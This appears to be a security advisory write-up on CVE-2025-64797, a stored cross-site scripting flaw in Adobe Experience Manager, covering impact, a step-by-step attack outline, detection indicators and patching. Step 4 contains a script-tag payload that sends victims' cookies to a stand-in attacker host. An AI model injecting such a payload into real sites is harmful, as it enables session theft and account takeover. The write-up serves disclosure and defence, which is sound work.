CVE-2025-64797: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64797 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises/LTS) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9–10, 2025, as part of Adobe's APSB25-115 security advisory. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged, authenticated attacker can inject malicious JavaScript into vulnerable AEM form fields; the payload is stored server-side and executes in the browser of any victim who subsequently visits the page containing the compromised field. Exploitation requires user interaction (a victim browsing to the affected page) and network access, but has low attack complexity. No public proof-of-concept code has been identified at this time (Adobe Advisory, Tenable).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, and defacement of AEM-hosted content. The changed scope (S:C) in the CVSS vector indicates the impact extends beyond the vulnerable component to the victim's browser environment. While confidentiality and integrity impacts are rated low individually, chained attacks leveraging stolen session cookies could escalate to broader account compromise within the AEM environment (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using web fingerprinting tools or Shodan searches for AEM-specific paths (e.g., /libs/granite/core/content/login.html).
2. Obtain low-privileged access: Register or use an existing low-privileged AEM author/contributor account to access content editing functionality.
3. Identify vulnerable form fields: Navigate to AEM pages or components that accept and store user-supplied input (e.g., text fields in page properties, forms, or content fragments) without adequate output encoding.
4. Inject XSS payload: Submit a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save/publish the content.
5. Trigger victim execution: Wait for or socially engineer a higher-privileged user (e.g., AEM administrator) to browse to the page containing the stored payload, causing their browser to execute the injected script.
6. Harvest results: Collect exfiltrated session tokens, cookies, or credentials from the attacker-controlled server to perform session hijacking or further attacks (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /libs/, /apps/) containing script tags or encoded JavaScript payloads (%3Cscript%3E, javascript:, onerror=, onload=) in form field parameters.
• Network: Outbound HTTP/S requests from victim browsers to unexpected external domains shortly after visiting AEM-hosted pages; unusual DNS queries from AEM author/publish environments.
• File System: Unexpected modifications to AEM JCR content nodes storing form field values containing <script> or event handler attributes; review /content repository nodes for injected markup.
• Process/Application: AEM error logs (error.log) showing unusual rendering exceptions on pages with recently modified content fields; audit log entries (com.day.cq.audit) recording content modifications by low-privileged accounts on sensitive pages.

Adobe has released patches addressing CVE-2025-64797 in AEM 6.5 Service Pack 6.5.24.0 (for on-premises/LTS deployments) and AEM Cloud Service release 2025.12.0. Organizations should upgrade to these versions immediately. As an interim measure, restrict content authoring permissions to trusted users only and review AEM dispatcher and WAF rules to filter requests containing script injection patterns. Adobe's advisory (APSB25-115) should be consulted for the full list of affected components and patch instructions (Adobe Advisory).

The CIS (Center for Internet Security) issued an advisory noting multiple vulnerabilities in Adobe products patched in December 2025, including this XSS issue, flagging the broader APSB25-115 bulletin as warranting prompt attention (CIS Advisory). Tenable added Nessus detection coverage (plugin 278346) shortly after disclosure. No significant independent researcher commentary or social media discussion specific to CVE-2025-64797 has been identified beyond standard vulnerability aggregator coverage.